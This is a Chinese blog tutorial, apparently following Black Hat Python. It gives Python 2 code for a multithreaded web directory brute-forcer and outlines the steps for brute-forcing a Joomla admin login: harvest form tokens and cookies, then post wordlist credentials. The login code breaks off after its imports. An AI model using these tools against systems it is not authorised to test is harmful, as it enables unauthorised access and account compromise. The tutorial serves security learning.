  12. def build_wordlist(wordlist_file):
  13. #读入字典文件
  14. fd = open(wordlist_file, "rb")
  15. raw_words = fd.readlines()
  16. fd.close()
  17. found_resume = False
  18. words = Queue.Queue()
  19. for word in raw_words:
  20. word = word.rstrip()
  21. if resume is not None:
  22. if found_resume:
  23. words.put(word)
  24. else:
  25. if word == resume:
  26. found_resume = True
  27. print "Resuming wordlist from: %s"%resume
  28. else:
  29. words.put(word)
  30. return words
  31. def dir_bruter(word_queue,extensions=None):
  32. while not word_queue.empty():
  33. attempt = word_queue.get()
  34. attempt_list = []
  35. #检测是否有文件扩展名,若没有则就是要暴力破解的路径
  36. if "." not in attempt:
  37. attempt_list.append( "/%s/"%attempt)
  38. else:
  39. attempt_list.append( "/%s"%attempt)
  40. #如果我们想暴破扩展
  41. if extensions:
  42. for extension in extensions:
  43. attempt_list.append( "/%s%s"%(attempt,extension))
  44. #迭代我们要尝试的文件列表
  45. for brute in attempt_list:
  46. url = "%s%s"%(target_url,urllib.quote(brute))
  47. try:
  48. headers = {}
  49. headers[ "User-Agent"] = user_agent
  50. r = urllib2.Request(url,headers=headers)
  51. response = urllib2.urlopen(r)
  52. if len(response.read()):
  53. print "[%d] => %s"%(response.code,url)
  54. except urllib2.URLError, e:
  55. if hasattr(e, 'code') and e.code != 404:
  56. print "!!! %d => %s"%(e.code,url)
  57. pass
  58. word_queue = build_wordlist(wordlist_file)
  59. extensions = [ ".php", ".bak", ".orig", ".inc"]
  60. for i in range(threads):
  61. t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))
  62. t.start()

运行结果:



暴力破解HTML表格认证:

先下载Joomla,安装后之后到后台登陆页面:


右键查看源代码,分析表单的关键信息:




可以看到,在表单中input标签下代表用户名和密码的变量的名称为username和passwd;在form标签最后的地方有一个长整型的随机字符串,这时Joomla对抗暴力破解技术的关键,会在当前的用户会话中通过存储在cookie中进行检测;登录成功的对比字符串是页面返回的title的内容,即“Administration - Control Panel”。

所以,书上作者也给出了爆破Joomla的流程:

1、检索登录页面,接受所有返回的cookies值;

2、从HTML中获取所有表单元素;

3、在你的字典中设置需要猜测的用户名和密码;

4、发送HTTP POST数据包到登录处理脚本,数据包含所有的HTML表单文件和存储的cookies值;

5、测试是否能登录成功。

代码如下:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import urllib2
  4. import urllib
  5. import cookielib
  6. import threading
  7. import sys
  8. import Queue
  9. from HTMLParser import HTMLParser
  • 8
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值